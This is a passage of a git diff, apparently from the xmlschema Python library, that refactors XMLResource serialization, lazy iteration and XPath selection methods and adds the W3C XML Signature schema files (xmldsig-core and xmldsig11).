Optional[str] = None) -> str: if path is None: if self._lazy: - return '/%s/%s' % (self._root.tag, '/'.join('*' * int(self._lazy))) - return '/%s' % self._root.tag + return f"/{self._root.tag}/{'/'.join('*' * int(self._lazy))}" + return f'/{self._root.tag}' elif path.startswith('/'): return path else: - return '/%s/%s' % (self._root.tag, path) + return f'/{self._root.tag}/{path}' def get_text(self) -> str: """ @@ -887,23 +778,51 @@ def get_text(self) -> str: return self.tostring(xml_declaration=True) - def tostring(self, indent: str = '', max_lines: Optional[int] = None, - spaces_for_tab: int = 4, xml_declaration: bool = False) -> str: - """Generates a string representation of the XML resource.""" + def tostring(self, namespaces: Optional[NamespacesType] = None, + indent: str = '', max_lines: Optional[int] = None, + spaces_for_tab: int = 4, xml_declaration: bool = False, + encoding: str = 'unicode', method: str = 'xml') -> str: + """ + Serialize an XML resource to a string. + + :param namespaces: is an optional mapping from namespace prefix to URI. \ + Provided namespaces are registered before serialization. Ignored if the \ + provided *elem* argument is a lxml Element instance. + :param indent: the baseline indentation. + :param max_lines: if truncate serialization after a number of lines \ + (default: do not truncate). + :param spaces_for_tab: number of spaces for replacing tab characters. For \ + default tabs are replaced with 4 spaces, provide `None` to keep tab characters. + :param xml_declaration: if set to `True` inserts the XML declaration at the head. + :param encoding: if "unicode" (the default) the output is a string, \ + otherwise it’s binary. + :param method: is either "xml" (the default), "html" or "text". + :return: a Unicode string. + """ if self._lazy: - raise XMLResourceError("cannot serialize a lazy resource") - - elem = self._root - namespaces = self.get_namespaces(root_only=False) - _string = etree_tostring(elem, namespaces, indent, max_lines, - spaces_for_tab, xml_declaration) - - return _string.decode('utf-8') if isinstance(_string, bytes) else _string + raise XMLResourceError("cannot serialize a lazy XML resource") + + if not hasattr(self._root, 'nsmap'): + namespaces = self.get_namespaces(namespaces, root_only=False) + + _string = etree_tostring( + elem=self._root, + namespaces=namespaces, + indent=indent, + max_lines=max_lines, + spaces_for_tab=spaces_for_tab, + xml_declaration=xml_declaration, + encoding=encoding, + method=method + ) + if isinstance(_string, bytes): # pragma: no cover + return _string.decode('utf-8') + return _string def subresource(self, elem: ElementType) -> 'XMLResource': """Create an XMLResource instance from a subelement of a non-lazy XML tree.""" if self._lazy: - raise XMLResourceError("cannot create a subresource from a lazy resource") + raise XMLResourceError("cannot create a subresource from a lazy XML resource") for e in self._root.iter(): # pragma: no cover if e is elem: @@ -913,40 +832,35 @@ def subresource(self, elem: ElementType) -> 'XMLResource': raise XMLResourceError(msg.format(elem)) resource = XMLResource(elem, self.base_url, self._allow, self._defuse, self._timeout) - if not hasattr(elem, 'nsmap') and self._nsmap is not None: - namespaces = {} - _nsmap = self._nsmap[elem] - _nsmap_initial_len = len(_nsmap) - nsmap = list(dict(_nsmap).items()) - + if not hasattr(elem, 'nsmap'): for e in elem.iter(): - if _nsmap is not self._nsmap[e]: - _nsmap = self._nsmap[e] - nsmap = nsmap[:] - nsmap.extend(_nsmap[_nsmap_initial_len:]) - namespaces[e] = nsmap + resource._nsmaps[e] = self._nsmaps[e] - resource._nsmap = namespaces + if e is elem: + ns_declarations = [(k, v) for k, v in self._nsmaps[e].items()] + if ns_declarations: + resource._xmlns[e] = ns_declarations + elif e in self._xmlns: + resource._xmlns[e] = self._xmlns[e] return resource def open(self) -> IO[AnyStr]: """ - Returns a opened resource reader object for the instance URL. If the + Returns an opened resource reader object for the instance URL. If the source attribute is a seekable file-like object rewind the source and return it. """ if self.seek(0) == 0: return cast(IO[AnyStr], self._source) elif self._url is None: - raise XMLResourceError("can't open, the resource has no URL associated.") + raise XMLResourceError(f"can't open, {self!r} has no URL associated") try: return cast(IO[AnyStr], urlopen(self._url, timeout=self._timeout)) except URLError as err: - raise XMLResourceError( - "cannot access to resource %r: %s" % (self._url, err.reason) - ) + msg = "cannot access to resource %(url)r: %(reason)s" + raise XMLResourceError(msg % {'url': self._url, 'reason': err.reason}) def seek(self, position: int) -> Optional[int]: """ @@ -984,7 +898,7 @@ def load(self) -> None: if self._url is None and not hasattr(self._source, 'read'): return # Created from Element or text source --> already loaded elif self._lazy: - raise XMLResourceError("cannot load a lazy resource") + raise XMLResourceError("cannot load a lazy XML resource") resource = self.open() try: @@ -1006,73 +920,55 @@ def load(self) -> None: self._text = text - def is_lazy(self) -> bool: - """Returns `True` if the XML resource is lazy.""" - return bool(self._lazy) - - def is_remote(self) -> bool: - """Returns `True` if the resource is related with remote XML data.""" - return is_remote_url(self._url) - - def is_local(self) -> bool: - """Returns `True` if the resource is related with local XML data.""" - return is_local_url(self._url) - - @property - def lazy_depth(self) -> int: + def iter(self, tag: Optional[str] = None) -> Iterator[ElementType]: """ - The optimal depth for validate this resource. Is a positive - integer for lazy resources and 0 for fully loaded XML trees. + XML resource tree iterator. If tag is not None or '*', only elements whose + tag equals tag are returned from the iterator. In a lazy resource the yielded + elements are full over or at *lazy_depth* level, otherwise are incomplete and + thin for default. """ - return int(self._lazy) + if not self._lazy: + yield from self._root.iter(tag) + return - def is_loaded(self) -> bool: - """Returns `True` if the XML text of the data source is loaded.""" - return self._text is not None + resource = self.open() + tag = '*' if tag is None else tag.strip() + lazy_depth = int(self._lazy) + subtree_elements: Deque[ElementType] = deque() + ancestors = [] + level = 0 - def iter(self, tag: Optional[str] = None, nsmap: Optional[NsmapType] = None) \ - -> Iterator[ElementType]: - """ - XML resource tree iterator. The iteration of a lazy resource - is in reverse order (top level element is the last). If tag - is not None or '*', only elements whose tag equals tag are - returned from the iterator. Provide a *nsmap* list for - tracking the namespaces of yielded elements. If *nsmap* is - a dictionary the tracking of namespaces is cumulative on - the whole tree, renaming prefixes in case of conflicts. - """ - if self._lazy: - resource = self.open() - tag = '*' if tag is None else tag.strip() - try: - for event, node in self._lazy_iterparse(resource, nsmap): - if event == 'end': + try: + for event, node in self._lazy_iterparse(resource): + if event == "start": + if level < lazy_depth: + if level: + ancestors.append(node) if tag == '*' or node.tag == tag: - yield node - node.clear() - finally: - # Close the resource only if it was originally opened by XMLResource - if resource is not self._source: - resource.close() + yield node # an incomplete element + level += 1 + else: + level -= 1 + if level < lazy_depth: + if level: + ancestors.pop() + continue # pragma: no cover + elif level > lazy_depth: + if tag == '*' or node.tag == tag: + subtree_elements.appendleft(node) + continue # pragma: no cover - elif not self._nsmap or nsmap is None: - yield from self._root.iter(tag) - else: - _nsmap = None - for elem in self._root.iter(tag): - try: - if _nsmap is not self._nsmap[elem]: - _nsmap = self._nsmap[elem] - if isinstance(nsmap, list): - nsmap.clear() - nsmap.extend(_nsmap) - else: - for prefix, uri in _nsmap: - self._update_nsmap(nsmap, prefix, uri) - except KeyError: - pass + if tag == '*' or node.tag == tag: + yield node # a full element - yield elem + yield from subtree_elements + subtree_elements.clear() + + self._lazy_clear(node, ancestors) + finally: + # Close the resource only if it was originally opened by XMLResource + if resource is not self._source: + resource.close() def iter_location_hints(self, tag: Optional[str] = None) -> Iterator[Tuple[str, str]]: """ @@ -1083,225 +979,207 @@ def iter_location_hints(self, tag: Optional[str] = None) -> Iterator[Tuple[str, for elem in self.iter(tag): yield from etree_iter_location_hints(elem) - def iter_depth(self, mode: int = 1, nsmap: Optional[NsmapType] = None, - ancestors: Optional[List[ElementType]] = None) -> Iterator[ElementType]: + def iter_depth(self, mode: int = 1, ancestors: Optional[List[ElementType]] = None) \ + -> Iterator[ElementType]: """ Iterates XML subtrees. For fully loaded resources yields the root element. On lazy resources the argument *mode* can change the sequence and the completeness of yielded elements. There are four possible modes, that generate different sequences of elements:\n 1. Only the elements at *depth_level* level of the tree\n - 2. Only a root element pruned at *depth_level*\n - 3. The elements at *depth_level* and then a pruned root\n - 4. An incomplete root at start, the elements at *depth_level* and a pruned root - - :param mode: an integer in range [1..4] that defines the iteration mode. - :param nsmap: provide a list/dict for tracking the namespaces of yielded \ - elements. If a list is passed the tracking is done at element level, otherwise \ - the tracking is on the whole tree, renaming prefixes in case of conflicts. + 2. Only the elements at *depth_level* level of the tree removing\n + the preceding elements of ancestors (thin lazy tree) + 3. Only a root element pruned at *depth_level*\n + 4. The elements at *depth_level* and then a pruned root\n + 5. An incomplete root at start, the elements at *depth_level* and a pruned root\n + + :param mode: an integer in range [1..5] that defines the iteration mode. :param ancestors: provide a list for tracking the ancestors of yielded elements. """ + if mode not in (1, 2, 3, 4, 5): + raise XMLSchemaValueError(f"invalid argument mode={mode!r}") + if ancestors is not None: ancestors.clear() + elif mode <= 2: + ancestors = [] if not self._lazy: - if nsmap is not None and self._nsmap: - if isinstance(nsmap, list): - nsmap.clear() - nsmap.extend(self._nsmap[self._root]) - else: - for elem in self._root.iter(): - for prefix, uri in self._nsmap[elem]: - self._update_nsmap(nsmap, prefix, uri) - yield self._root return - if mode not in (1, 2, 3, 4): - raise XMLSchemaValueError("invalid argument mode={!r}".format(mode)) - resource = self.open() level = 0 - subtree_level = int(self._lazy) + lazy_depth = int(self._lazy) + + # boolean flags + incomplete_root = mode == 5 + pruned_root = mode > 2 + depth_level_elements = mode != 3 + thin_lazy = mode <= 2 try: - for event, node in self._lazy_iterparse(resource, nsmap): + for event, elem in self._lazy_iterparse(resource): if event == "start": if not level: - if mode == 4: - yield node - if ancestors is not None and level < subtree_level: - ancestors.append(node) + if incomplete_root: + yield elem + if ancestors is not None and level < lazy_depth: + ancestors.append(elem) level += 1 else: level -= 1 if not level: - if mode != 1: - yield node - elif level != subtree_level: - if ancestors is not None and level < subtree_level: + if pruned_root: + yield elem + continue + elif level != lazy_depth: + if ancestors is not None and level < lazy_depth: ancestors.pop() continue # pragma: no cover - elif mode != 2: - yield node + elif depth_level_elements: + yield elem - del node[:] # delete children, keep attributes, text and tail. + if thin_lazy: + self._lazy_clear(elem, ancestors) + else: + self._lazy_clear(elem) finally: if self._source is not resource: resource.close() + def _select_elements(self, token: XPathToken, + node: ResourceNodeType, + ancestors: Optional[List[ElementType]] = None) -> Iterator[ElementType]: + context = XPathContext(node) + for item in token.select(context): + if not isinstance(item, ElementNode): # pragma: no cover + msg = "XPath expressions on XML resources can select only elements" + raise XMLResourceError(msg) + elif ancestors is not None: + if item.elem is self._root: # type: ignore[attr-defined, unused-ignore] + ancestors.clear() + else: + _ancestors: Any = [] + parent = item.parent + while parent is not None: + _ancestors.append(parent.value) + parent = parent.parent + + if _ancestors: + ancestors.clear() + ancestors.extend(reversed(_ancestors)) + + yield cast(ElementType, item.elem) # type: ignore[attr-defined, unused-ignore] + def iterfind(self, path: str, namespaces: Optional[NamespacesType] = None, - nsmap: Optional[NsmapType] = None, ancestors: Optional[List[ElementType]] = None) -> Iterator[ElementType]: """ Apply XPath selection to XML resource that yields full subtrees. - :param path: an XPath expression to select element nodes. + :param path: an XPath 2.0 expression that selects element nodes. \ + Selecting other values or nodes raise an error. :param namespaces: an optional mapping from namespace prefixes to URIs \ used for parsing the XPath expression. - :param nsmap: provide a list/dict for tracking the namespaces of yielded \ - elements. If a list is passed the tracking is done at element level, otherwise \ - the tracking is on the whole tree, renaming prefixes in case of conflicts. :param ancestors: provide a list for tracking the ancestors of yielded elements. """ - selector: Any + parser = XPath2Parser(namespaces, strict=False) + token = parser.parse(path) - if self._lazy: - selector = LazySelector(path, namespaces) - path = path.replace(' ', '').replace('./', '') - resource = self.open() - level = 0 - select_all = '*' in path and set(path).issubset({'*', '/'}) - if path == '.': - subtree_level = 0 - elif path.startswith('/'): - subtree_level = path.count('/') - 1 - else: - subtree_level = path.count('/') + 1 + if not self._lazy: + yield from self._select_elements(token, self.xpath_root, ancestors) + return - try: - for event, node in self._lazy_iterparse(resource, nsmap): - if event == "start": - if ancestors is not None and level < subtree_level: - ancestors.append(node) - level += 1 - else: - level -= 1 - if not level: - if subtree_level: - pass - elif select_all or node in selector.select(self._root): - yield node - elif not subtree_level: - continue - elif level != subtree_level: - if ancestors is not None and level < subtree_level: - ancestors.pop() - continue # pragma: no cover - elif select_all or node in selector.select(self._root): - yield node + resource = self.open() + lazy_depth = int(self._lazy) + level = 0 - del node[:] # delete children, keep attributes, text and tail. + path = path.replace(' ', '').replace('./', '') + select_all = '*' in path and set(path).issubset(('*', '/')) + if path == '.': + path_depth = 0 + elif path.startswith('/'): + path_depth = path.count('/') - 1 + else: + path_depth = path.count('/') + 1 - finally: - if self._source is not resource: - resource.close() + if not path_depth: + raise XMLResourceError(f"cannot use path {path!r} on a lazy resource") + elif path_depth < lazy_depth: + raise XMLResourceError(f"cannot use path {path!r} on a lazy resource " + f"with lazy_depth=={lazy_depth}") - else: - if ancestors is None: - selector = iter_select - else: - parent_map = self.parent_map - ancestors.clear() - - def selector(*args: Any, **kwargs: Any) -> Iterator[Any]: - assert ancestors is not None - for e in iter_select(*args, **kwargs): - if e is self._root: - ancestors.clear() - else: - _ancestors = [] - parent = e - try: - while True: - parent = parent_map[parent] - if parent is not None: - _ancestors.append(parent) - except KeyError: - pass - - if _ancestors: - ancestors.clear() - ancestors.extend(reversed(_ancestors)) - - yield e - - if not self._nsmap or nsmap is None: - yield from selector(self._root, path, namespaces, strict=False) - else: - _nsmap = None - for elem in selector(self._root, path, namespaces, strict=False): - try: - if _nsmap is not self._nsmap[elem]: - _nsmap = self._nsmap[elem] - if isinstance(nsmap, list): - nsmap.clear() - nsmap.extend(_nsmap) - else: - for prefix, uri in _nsmap: - self._update_nsmap(nsmap, prefix, uri) - except KeyError: - pass - - yield elem + if ancestors is not None: + ancestors.clear() + elif self._thin_lazy: + ancestors = [] + + try: + for event, node in self._lazy_iterparse(resource): + if event == "start": + if ancestors is not None and level < path_depth: + ancestors.append(node) + level += 1 + else: + level -= 1 + if level < path_depth: + if ancestors is not None: + ancestors.pop() + continue + elif level == path_depth: + if select_all or \ + node in self._select_elements(token, self.xpath_root): + yield node + if level == lazy_depth: + self._lazy_clear(node, ancestors) + finally: + if self._source is not resource: + resource.close() def find(self, path: str, namespaces: Optional[NamespacesType] = None, - nsmap: Optional[NsmapType] = None, ancestors: Optional[List[ElementType]] = None) -> Optional[ElementType]: - return next(self.iterfind(path, namespaces, nsmap, ancestors), None) + return next(self.iterfind(path, namespaces, ancestors), None) def findall(self, path: str, namespaces: Optional[NamespacesType] = None) \ -> List[ElementType]: return list(self.iterfind(path, namespaces)) def get_namespaces(self, namespaces: Optional[NamespacesType] = None, - root_only: Optional[bool] = None) -> NamespacesType: + root_only: bool = True) -> NamespacesType: """ - Extracts namespaces with related prefixes from the XML resource. If a duplicate - prefix declaration is encountered and the prefix maps a different namespace, - adds the namespace using a different generated prefix. The empty prefix '' is - used only if it's declared at root level to avoid erroneous mapping of local - names. In other cases uses 'default' prefix as substitute. - - :param namespaces: builds the namespace map starting over the dictionary provided. - :param root_only: if `True`, or `None` and the resource is lazy, extracts \ - only the namespaces declared in the root element. + Extracts namespaces with related prefixes from the XML resource. + If a duplicate prefix is encountered in a xmlns declaration, and + this is mapped to a different namespace, adds the namespace using + a different generated prefix. The empty prefix '' is used only if + it's declared at root level to avoid erroneous mapping of local + names. In other cases it uses the prefix 'default' as substitute. + + :param namespaces: is an optional mapping from namespace prefix to URI that \ + integrate/override the namespace declarations of the root element. + :param root_only: if `True` extracts only the namespaces declared in the root \ + element, otherwise scan the whole tree for further namespace declarations. \ + A full namespace map can be useful for cases where the element context is \ + not available. + :return: a dictionary for mapping namespace prefixes to full URI. """ - if namespaces is None: - namespaces = {} - elif namespaces.get('xml', XML_NAMESPACE) != XML_NAMESPACE: - msg = "reserved prefix (xml) must not be bound to another namespace name" - raise XMLSchemaValueError(msg) - else: - namespaces = copy.copy(namespaces) + namespaces = get_namespace_map(namespaces) try: - if root_only or root_only is None and self._lazy: - for _ in self.iter(nsmap=namespaces): + for elem in self.iter(): + if elem in self._xmlns: + update_namespaces(namespaces, self._xmlns[elem], elem is self._root) + if root_only: break - else: - for _ in self.iter(nsmap=namespaces): - pass except (ElementTree.ParseError, PyElementTree.ParseError, UnicodeEncodeError): - pass - - return namespaces + return namespaces # a lazy resource with malformed XML data + else: + return namespaces def get_locations(self, locations: Optional[LocationsType] = None, - root_only: Optional[bool] = None) -> NormalizedLocationsType: + root_only: bool = True) -> NormalizedLocationsType: """ Extracts a list of schema location hints from the XML resource. The locations are normalized using the base URL of the instance. @@ -1309,13 +1187,10 @@ def get_locations(self, locations: Optional[LocationsType] = None, :param locations: a sequence of schema location hints inserted \ before the ones extracted from the XML resource. Locations passed \ within a tuple container are not normalized. - :param root_only: if `True`, or if `None` and the resource is lazy, \ - extracts the location hints of the root element only. + :param root_only: if `True` extracts only the location hints of the \ + root element. :returns: a list of couples containing normalized location hints. """ - if root_only is None: - root_only = bool(self._lazy) - if not locations: location_hints = [] elif isinstance(locations, tuple): @@ -1329,8 +1204,12 @@ def get_locations(self, locations: Optional[LocationsType] = None, for ns, url in etree_iter_location_hints(self._root) ]) else: - location_hints.extend([ - (ns, normalize_url(url, self.base_url)) - for ns, url in self.iter_location_hints() - ]) + try: + location_hints.extend([ + (ns, normalize_url(url, self.base_url)) + for ns, url in self.iter_location_hints() + ]) + except (ElementTree.ParseError, PyElementTree.ParseError, UnicodeEncodeError): + pass # a lazy resource containing malformed XML data after the first tag + return location_hints diff --git a/xmlschema/schemas/DSIG/xmldsig-core-schema.xsd b/xmlschema/schemas/DSIG/xmldsig-core-schema.xsd new file mode 100644 index 0000000..975f522 --- /dev/null +++ b/xmlschema/schemas/DSIG/xmldsig-core-schema.xsd @@ -0,0 +1,325 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- +Fallback schema for http://www.w3.org/2000/09/xmldsig# namespace: + - DTD commented out for processing the schema with the safe parser +--> + +<!-- +<!DOCTYPE schema + PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "http://www.w3.org/2001/XMLSchema.dtd" + [ + <!ATTLIST schema + xmlns:ds CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#"> + <!ENTITY dsig 'http://www.w3.org/2000/09/xmldsig#'> + <!ENTITY % p ''> + <!ENTITY % s ''> + ]> +--> + +<!-- Schema for XML Signatures + http://www.w3.org/2000/09/xmldsig# + $Revision: 1.1 $ on $Date: 2002/02/08 20:32:26 $ by $Author: reagle $ + + Copyright 2001 The Internet Society and W3C (Massachusetts Institute + of Technology, Institut National de Recherche en Informatique et en + Automatique, Keio University). All Rights Reserved. + http://www.w3.org/Consortium/Legal/ + + This document is governed by the W3C Software License [1] as described + in the FAQ [2]. + + [1] http://www.w3.org/Consortium/Legal/copyright-software-19980720 + [2] http://www.w3.org/Consortium/Legal/IPR-FAQ-20000620.html#DTD +--> + + +<schema xmlns="http://www.w3.org/2001/XMLSchema" + xmlns:ds="http://www.w3.org/2000/09/xmldsig#" + targetNamespace="http://www.w3.org/2000/09/xmldsig#" + version="0.1" elementFormDefault="qualified"> + +<!-- Basic Types Defined for Signatures --> + +<simpleType name="CryptoBinary"> + <restriction base="base64Binary"> + </restriction> +</simpleType> + +<!-- Start Signature --> + +<element name="Signature" type="ds:SignatureType"/> +<complexType name="SignatureType"> + <sequence> + <element ref="ds:SignedInfo"/> + <element ref="ds:SignatureValue"/> + <element ref="ds:KeyInfo" minOccurs="0"/> + <element ref="ds:Object" minOccurs="0" maxOccurs="unbounded"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> +</complexType> + + <element name="SignatureValue" type="ds:SignatureValueType"/> + <complexType name="SignatureValueType"> + <simpleContent> + <extension base="base64Binary"> + <attribute name="Id" type="ID" use="optional"/> + </extension> + </simpleContent> + </complexType> + +<!-- Start SignedInfo --> + +<element name="SignedInfo" type="ds:SignedInfoType"/> +<complexType name="SignedInfoType"> + <sequence> + <element ref="ds:CanonicalizationMethod"/> + <element ref="ds:SignatureMethod"/> + <element ref="ds:Reference" maxOccurs="unbounded"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> +</complexType> + + <element name="CanonicalizationMethod" type="ds:CanonicalizationMethodType"/> + <complexType name="CanonicalizationMethodType" mixed="true"> + <sequence> + <any namespace="##any" minOccurs="0" maxOccurs="unbounded"/> + <!-- (0,unbounded) elements from (1,1) namespace --> + </sequence> + <attribute name="Algorithm" type="anyURI" use="required"/> + </complexType> + + <element name="SignatureMethod" type="ds:SignatureMethodType"/> + <complexType name="SignatureMethodType" mixed="true"> + <sequence> + <element name="HMACOutputLength" minOccurs="0" type="ds:HMACOutputLengthType"/> + <any namespace="##other" minOccurs="0" maxOccurs="unbounded"/> + <!-- (0,unbounded) elements from (1,1) external namespace --> + </sequence> + <attribute name="Algorithm" type="anyURI" use="required"/> + </complexType> + +<!-- Start Reference --> + +<element name="Reference" type="ds:ReferenceType"/> +<complexType name="ReferenceType"> + <sequence> + <element ref="ds:Transforms" minOccurs="0"/> + <element ref="ds:DigestMethod"/> + <element ref="ds:DigestValue"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> + <attribute name="URI" type="anyURI" use="optional"/> + <attribute name="Type" type="anyURI" use="optional"/> +</complexType> + + <element name="Transforms" type="ds:TransformsType"/> + <complexType name="TransformsType"> + <sequence> + <element ref="ds:Transform" maxOccurs="unbounded"/> + </sequence> + </complexType> + + <element name="Transform" type="ds:TransformType"/> + <complexType name="TransformType" mixed="true"> + <choice minOccurs="0" maxOccurs="unbounded"> + <any namespace="##other" processContents="lax"/> + <!-- (1,1) elements from (0,unbounded) namespaces --> + <element name="XPath" type="string"/> + </choice> + <attribute name="Algorithm" type="anyURI" use="required"/> + </complexType> + +<!-- End Reference --> + +<element name="DigestMethod" type="ds:DigestMethodType"/> +<complexType name="DigestMethodType" mixed="true"> + <sequence> + <any namespace="##other" processContents="lax" minOccurs="0" maxOccurs="unbounded"/> + </sequence> + <attribute name="Algorithm" type="anyURI" use="required"/> +</complexType> + +<element name="DigestValue" type="ds:DigestValueType"/> +<simpleType name="DigestValueType"> + <restriction base="base64Binary"/> +</simpleType> + +<!-- End SignedInfo --> + +<!-- Start KeyInfo --> + +<element name="KeyInfo" type="ds:KeyInfoType"/> +<complexType name="KeyInfoType" mixed="true"> + <choice maxOccurs="unbounded"> + <element ref="ds:KeyName"/> + <element ref="ds:KeyValue"/> + <element ref="ds:RetrievalMethod"/> + <element ref="ds:X509Data"/> + <element ref="ds:PGPData"/> + <element ref="ds:SPKIData"/> + <element ref="ds:MgmtData"/> + <any processContents="lax" namespace="##other"/> + <!-- (1,1) elements from (0,unbounded) namespaces --> + </choice> + <attribute name="Id" type="ID" use="optional"/> +</complexType> + + <element name="KeyName" type="string"/> + <element name="MgmtData" type="string"/> + + <element name="KeyValue" type="ds:KeyValueType"/> + <complexType name="KeyValueType" mixed="true"> + <choice> + <element ref="ds:DSAKeyValue"/> + <element ref="ds:RSAKeyValue"/> + <any namespace="##other" processContents="lax"/> + </choice> + </complexType> + + <element name="RetrievalMethod" type="ds:RetrievalMethodType"/> + <complexType name="RetrievalMethodType"> + <sequence> + <element ref="ds:Transforms" minOccurs="0"/> + </sequence> + <attribute name="URI" type="anyURI"/> + <attribute name="Type" type="anyURI" use="optional"/> + </complexType> + +<!-- Start X509Data --> + +<element name="X509Data" type="ds:X509DataType"/> +<complexType name="X509DataType"> + <sequence maxOccurs="unbounded"> + <choice> + <element name="X509IssuerSerial" type="ds:X509IssuerSerialType"/> + <element name="X509SKI" type="base64Binary"/> + <element name="X509SubjectName" type="string"/> + <element name="X509Certificate" type="base64Binary"/> + <element name="X509CRL" type="base64Binary"/> + <any namespace="##other" processContents="lax"/> + </choice> + </sequence> +</complexType> + +<complexType name="X509IssuerSerialType"> + <sequence> + <element name="X509IssuerName" type="string"/> + <element name="X509SerialNumber" type="integer"/> + </sequence> +</complexType> + +<!-- End X509Data --> + +<!-- Begin PGPData --> + +<element name="PGPData" type="ds:PGPDataType"/> +<complexType name="PGPDataType"> + <choice> + <sequence> + <element name="PGPKeyID" type="base64Binary"/> + <element name="PGPKeyPacket" type="base64Binary" minOccurs="0"/> + <any namespace="##other" processContents="lax" minOccurs="0" + maxOccurs="unbounded"/> + </sequence> + <sequence> + <element name="PGPKeyPacket" type="base64Binary"/> + <any namespace="##other" processContents="lax" minOccurs="0" + maxOccurs="unbounded"/> + </sequence> + </choice> +</complexType> + +<!-- End PGPData --> + +<!-- Begin SPKIData --> + +<element name="SPKIData" type="ds:SPKIDataType"/> +<complexType name="SPKIDataType"> + <sequence maxOccurs="unbounded"> + <element name="SPKISexp" type="base64Binary"/> + <any namespace="##other" processContents="lax" minOccurs="0"/> + </sequence> +</complexType> + +<!-- End SPKIData --> + +<!-- End KeyInfo --> + +<!-- Start Object (Manifest, SignatureProperty) --> + +<element name="Object" type="ds:ObjectType"/> +<complexType name="ObjectType" mixed="true"> + <sequence minOccurs="0" maxOccurs="unbounded"> + <any namespace="##any" processContents="lax"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> + <attribute name="MimeType" type="string" use="optional"/> <!-- add a grep facet --> + <attribute name="Encoding" type="anyURI" use="optional"/> +</complexType> + +<element name="Manifest" type="ds:ManifestType"/> +<complexType name="ManifestType"> + <sequence> + <element ref="ds:Reference" maxOccurs="unbounded"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> +</complexType> + +<element name="SignatureProperties" type="ds:SignaturePropertiesType"/> +<complexType name="SignaturePropertiesType"> + <sequence> + <element ref="ds:SignatureProperty" maxOccurs="unbounded"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> +</complexType> + + <element name="SignatureProperty" type="ds:SignaturePropertyType"/> + <complexType name="SignaturePropertyType" mixed="true"> + <choice maxOccurs="unbounded"> + <any namespace="##other" processContents="lax"/> + <!-- (1,1) elements from (1,unbounded) namespaces --> + </choice> + <attribute name="Target" type="anyURI" use="required"/> + <attribute name="Id" type="ID" use="optional"/> + </complexType> + +<!-- End Object (Manifest, SignatureProperty) --> + +<!-- Start Algorithm Parameters --> + +<simpleType name="HMACOutputLengthType"> + <restriction base="integer"/> +</simpleType> + +<!-- Start KeyValue Element-types --> + +<element name="DSAKeyValue" type="ds:DSAKeyValueType"/> +<complexType name="DSAKeyValueType"> + <sequence> + <sequence minOccurs="0"> + <element name="P" type="ds:CryptoBinary"/> + <element name="Q" type="ds:CryptoBinary"/> + </sequence> + <element name="G" type="ds:CryptoBinary" minOccurs="0"/> + <element name="Y" type="ds:CryptoBinary"/> + <element name="J" type="ds:CryptoBinary" minOccurs="0"/> + <sequence minOccurs="0"> + <element name="Seed" type="ds:CryptoBinary"/> + <element name="PgenCounter" type="ds:CryptoBinary"/> + </sequence> + </sequence> +</complexType> + +<element name="RSAKeyValue" type="ds:RSAKeyValueType"/> +<complexType name="RSAKeyValueType"> + <sequence> + <element name="Modulus" type="ds:CryptoBinary"/> + <element name="Exponent" type="ds:CryptoBinary"/> + </sequence> +</complexType> + +<!-- End KeyValue Element-types --> + +<!-- End Signature --> + +</schema> diff --git a/xmlschema/schemas/DSIG/xmldsig11-schema.xsd b/xmlschema/schemas/DSIG/xmldsig11-schema.xsd new file mode 100644 index 0000000..a07510a --- /dev/null +++ b/xmlschema/schemas/DSIG/xmldsig11-schema.xsd @@ -0,0 +1,144 @@ +<?xml version="1.0" encoding="utf-8"?> + +<!-- +# +# Copyright ©[2011] World Wide Web Consortium +# (Massachusetts Institute of Technology, +# European Research Consortium for Informatics and Mathematics, +# Keio University). All Rights Reserved. +# This work is distributed under the W3C® Software License [1] in the +# hope that it will be useful, but WITHOUT ANY WARRANTY; without even +# the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR +# PURPOSE. +# [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 +# +--> + +<schema xmlns="http://www.w3.org/2001/XMLSchema" + xmlns:ds="http://www.w3.org/2000/09/xmldsig#" + xmlns:dsig11="http://www.w3.org/2009/xmldsig11#" + targetNamespace="http://www.w3.org/2009/xmldsig11#" + version="0.1" elementFormDefault="qualified"> + + <import namespace="http://www.w3.org/2000/09/xmldsig#"/> + + <element name="ECKeyValue" type="dsig11:ECKeyValueType"/> + <complexType name="ECKeyValueType"> + <sequence> + <choice> + <element name="ECParameters" type="dsig11:ECParametersType"/> + <element name="NamedCurve" type="dsig11:NamedCurveType"/> + </choice> + <element name="PublicKey" type="dsig11:ECPointType"/> + </sequence> + <attribute name="Id" type="ID" use="optional"/> + </complexType> + + <complexType name="NamedCurveType"> + <attribute name="URI" type="anyURI" use="required"/> + </complexType> + + <simpleType name="ECPointType"> + <restriction base="ds:CryptoBinary"/> + </simpleType> + + <complexType name="ECParametersType"> + <sequence> + <element name="FieldID" type="dsig11:FieldIDType"/> + <element name="Curve" type="dsig11:CurveType"/> + <element name="Base" type="dsig11:ECPointType"/> + <element name="Order" type="ds:CryptoBinary"/> + <element name="CoFactor" type="integer" minOccurs="0"/> + <element name="ValidationData" + type="dsig11:ECValidationDataType" minOccurs="0"/> + </sequence> + </complexType> + + <complexType name="FieldIDType"> + <choice> + <element ref="dsig11:Prime"/> + <element ref="dsig11:TnB"/> + <element ref="dsig11:PnB"/> + <element ref="dsig11:GnB"/> + <any namespace="##other" processContents="lax"/> + </choice> + </complexType> + + <complexType name="CurveType"> + <sequence> + <element name="A" type="ds:CryptoBinary"/> + <element name="B" type="ds:CryptoBinary"/> + </sequence> + </complexType> + + <complexType name="ECValidationDataType"> + <sequence> + <element name="seed" type="ds:CryptoBinary"/> + </sequence> + <attribute name="hashAlgorithm" type="anyURI" use="required"/> + </complexType> + + <element name="Prime" type="dsig11:PrimeFieldParamsType"/> + <complexType name="PrimeFieldParamsType"> + <sequence> + <element name="P" type="ds:CryptoBinary"/> + </sequence> + </complexType> + + <element name="GnB" type="dsig11:CharTwoFieldParamsType"/> + <complexType name="CharTwoFieldParamsType"> + <sequence> + <element name="M" type="positiveInteger"/> + </sequence> + </complexType> + + <element name="TnB" type="dsig11:TnBFieldParamsType"/> + <complexType name="TnBFieldParamsType"> + <complexContent> + <extension 